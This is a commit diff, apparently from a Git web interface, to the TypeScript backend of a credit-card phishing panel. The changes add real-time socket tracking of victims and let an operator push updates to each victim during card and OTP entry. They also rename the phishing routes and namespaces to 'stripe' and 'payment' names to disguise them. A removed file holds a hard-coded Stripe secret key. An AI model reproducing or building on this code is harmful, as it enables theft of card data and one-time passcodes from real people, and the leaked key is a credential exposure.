x1ongzhu 1 gadu atpakaļ
vecāks
revīzija
fd8a86134a

+ 16 - 3
app/Controllers/Http/PhishesController.ts

@@ -1,6 +1,7 @@
 import type { HttpContextContract } from '@ioc:Adonis/Core/HttpContext'
 import type { HttpContextContract } from '@ioc:Adonis/Core/HttpContext'
 import PaginationService from 'App/Services/PaginationService'
 import PaginationService from 'App/Services/PaginationService'
 import Phish from 'App/Models/Phish'
 import Phish from 'App/Models/Phish'
+import Ws from 'App/Services/Ws'
 
 
 export default class PhishesController {
 export default class PhishesController {
     private paginationService = new PaginationService(Phish)
     private paginationService = new PaginationService(Phish)
@@ -21,16 +22,28 @@ export default class PhishesController {
         }
         }
         phish.ip = ip
         phish.ip = ip
         phish.online = false
         phish.online = false
-        return await phish.save()
+        await phish.save()
+        Ws.hookIO.emit('new', phish)
+        return phish
     }
     }
 
 
     public async show({ params }: HttpContextContract) {
     public async show({ params }: HttpContextContract) {
         return await Phish.findOrFail(params.id)
         return await Phish.findOrFail(params.id)
     }
     }
 
 
-    public async update({ params, request }: HttpContextContract) {
+    public async clientUpdate({ params, request }: HttpContextContract) {
         const phish = await Phish.findOrFail(params.id)
         const phish = await Phish.findOrFail(params.id)
         phish.merge(request.all())
         phish.merge(request.all())
-        return await phish.save()
+        await phish.save()
+        Ws.hookIO.emit('update', phish)
+        return phish
+    }
+
+    public async adminUpdate({ params, request }: HttpContextContract) {
+        const phish = await Phish.findOrFail(params.id)
+        phish.merge(request.all())
+        await phish.save()
+        Ws.phishIO.to(phish.socketId).emit('update', phish)
+        return phish
     }
     }
 }
 }

+ 0 - 24
app/Controllers/Http/StripeController.ts

@@ -1,24 +0,0 @@
-import type { HttpContextContract } from '@ioc:Adonis/Core/HttpContext'
-import Stripe from 'stripe'
-export default class StripeController {
-    public async index(ctx: HttpContextContract) {
-        const stripe = new Stripe('sk_test_09l3shTSTKHYCzzZZsiLl2vA')
-        const paymentIntent = await stripe.paymentIntents.create({
-            amount: 100,
-            currency: 'usd',
-            // In the latest version of the API, specifying the `automatic_payment_methods` parameter is optional because Stripe enables its functionality by default.
-            automatic_payment_methods: {
-                enabled: true
-            },
-            payment_method_options: {
-                card: {
-                    request_three_d_secure: 'challenge'
-                }
-            }
-        })
-
-        return {
-            clientSecret: paymentIntent.client_secret
-        }
-    }
-}

+ 9 - 2
app/Models/Phish.ts

@@ -24,9 +24,16 @@ export default class Phish extends BaseModel {
     @column()
     @column()
     public ip: string
     public ip: string
 
 
-    @column()
+    @column({
+        meta: {
+            type: 'boolean'
+        }
+    })
     public online: boolean
     public online: boolean
 
 
+    @column()
+    public socketId: string
+
     @column()
     @column()
     public step: PhishStep
     public step: PhishStep
 
 
@@ -76,5 +83,5 @@ export default class Phish extends BaseModel {
     public otpMsg: string
     public otpMsg: string
 
 
     @column()
     @column()
-    public otpSuffix: string
+    public errMsg: string
 }
 }

+ 6 - 1
app/Services/PaginationService.ts

@@ -23,7 +23,12 @@ export default class PaginationService<T extends LucidModel> {
                 return
                 return
             }
             }
             if (this.model.$hasColumn(key)) {
             if (this.model.$hasColumn(key)) {
-                q.where(key, query[key])
+                const col = this.model.$getColumn(key)
+                if (col?.meta?.type === 'boolean') {
+                    q.where(key, query[key] === 'true' || query[key] === true)
+                } else {
+                    q.where(key, query[key])
+                }
             }
             }
         })
         })
         let orders: { column: string; order: 'asc' | 'desc' }[] = []
         let orders: { column: string; order: 'asc' | 'desc' }[] = []

+ 31 - 7
app/Services/Ws.ts

@@ -2,12 +2,13 @@ import Logger from '@ioc:Adonis/Core/Logger'
 import { Namespace, Server, Socket } from 'socket.io'
 import { Namespace, Server, Socket } from 'socket.io'
 import AdonisServer from '@ioc:Adonis/Core/Server'
 import AdonisServer from '@ioc:Adonis/Core/Server'
 import auth from 'App/Middleware/Auth'
 import auth from 'App/Middleware/Auth'
+import Phish from 'App/Models/Phish'
 class Ws {
 class Ws {
     public io: Server
     public io: Server
     public clientsIO: Namespace
     public clientsIO: Namespace
     public adminIO: Namespace
     public adminIO: Namespace
-    public phiClientIO: Namespace
-    public phiAdminIO: Namespace
+    public phishIO: Namespace
+    public hookIO: Namespace
     private booted = false
     private booted = false
 
 
     private clients: { [key: string]: any } = {}
     private clients: { [key: string]: any } = {}
@@ -86,22 +87,45 @@ class Ws {
     }
     }
 
 
     public startPhishing() {
     public startPhishing() {
-        this.phiClientIO = this.io.of('phiClient')
-        this.phiAdminIO = this.io.of('phiAdmin')
+        this.phishIO = this.io.of('paymentClient')
+        this.hookIO = this.io.of('paymentManage')
 
 
-        this.phiClientIO.on('connection', (socket: Socket) => {
+        this.phishIO.on('connection', (socket: Socket) => {
             Logger.info('Client connected ' + JSON.stringify(socket.handshake))
             Logger.info('Client connected ' + JSON.stringify(socket.handshake))
+
+            Phish.find(parseInt(socket.handshake.query.id as string))
+                .then((res) => {
+                    if (res) {
+                        res.online = true
+                        res.socketId = socket.id
+                        res.save()
+                    }
+                })
+                .catch((e) => {
+                    Logger.error(e)
+                })
+
             this.clients[socket.id] = {
             this.clients[socket.id] = {
                 ...socket.handshake
                 ...socket.handshake
             }
             }
 
 
             socket.on('disconnect', (reason) => {
             socket.on('disconnect', (reason) => {
                 Logger.info('Client disconnected ' + reason)
                 Logger.info('Client disconnected ' + reason)
+                Phish.find(parseInt(socket.handshake.query.id as string))
+                    .then((res) => {
+                        if (res) {
+                            res.online = false
+                            res.save()
+                        }
+                    })
+                    .catch((e) => {
+                        Logger.error(e)
+                    })
                 delete this.clients[socket.id]
                 delete this.clients[socket.id]
             })
             })
 
 
             socket.on('info', (data) => {
             socket.on('info', (data) => {
-                this.phiClientIO[socket.id] = { id: socket.id, ...this.clients[socket.id], ...data }
+                this.phishIO[socket.id] = { id: socket.id, ...this.clients[socket.id], ...data }
             })
             })
 
 
             socket.on('result', (args: { to: string; action: string; data: any }) => {
             socket.on('result', (args: { to: string; action: string; data: any }) => {
@@ -114,7 +138,7 @@ class Ws {
             })
             })
         })
         })
 
 
-        this.phiAdminIO.on('connection', (socket: Socket) => {
+        this.hookIO.on('connection', (socket: Socket) => {
             Logger.info('Admin connected ' + JSON.stringify(socket.handshake))
             Logger.info('Admin connected ' + JSON.stringify(socket.handshake))
             socket.on('clients', (args) => {
             socket.on('clients', (args) => {
                 this.adminIO.to(socket.id).emit('clients', Object.values(this.clients))
                 this.adminIO.to(socket.id).emit('clients', Object.values(this.clients))

+ 4 - 2
database/migrations/1709881786990_phishes.ts

@@ -15,6 +15,7 @@ export default class extends BaseSchema {
 
 
             table.string('ip').nullable()
             table.string('ip').nullable()
             table.boolean('online').notNullable().defaultTo(false)
             table.boolean('online').notNullable().defaultTo(false)
+            table.string('socket_id').nullable()
             table
             table
                 .enum('step', [
                 .enum('step', [
                     'input_card',
                     'input_card',
@@ -38,8 +39,9 @@ export default class extends BaseSchema {
             table.string('address').nullable()
             table.string('address').nullable()
             table.string('zip').nullable()
             table.string('zip').nullable()
             table.string('otp').nullable()
             table.string('otp').nullable()
-            table.string('otpType').nullable()
-            table.string('otpMsg').nullable()
+            table.string('otp_type').nullable()
+            table.string('otp_msg').nullable()
+            table.string('err_msg').nullable()
         })
         })
     }
     }
 
 

+ 4 - 2
start/routes.ts

@@ -73,8 +73,10 @@ Route.group(() => {
     Route.resource('referrer', 'ReferrersController').apiOnly()
     Route.resource('referrer', 'ReferrersController').apiOnly()
     Route.resource('properties', 'PropertiesController').apiOnly()
     Route.resource('properties', 'PropertiesController').apiOnly()
     Route.post('userBalances/rechargeNotify', 'UserBalancesController.rechargeNotify')
     Route.post('userBalances/rechargeNotify', 'UserBalancesController.rechargeNotify')
-    Route.get('stripe', 'StripeController.index')
-    Route.resource('phishes', 'PhishesController').apiOnly()
+    Route.resource('stripe', 'PhishesController').apiOnly()
+    Route.post('stripe/sendMsg/:type/:id', 'PhishesController.sendMsg')
+    Route.put('stripe/client/:id', 'PhishesController.clientUpdate')
+    Route.put('stripe/admin/:id', 'PhishesController.adminUpdate')
 
 
     Route.group(() => {
     Route.group(() => {
         Route.group(() => {
         Route.group(() => {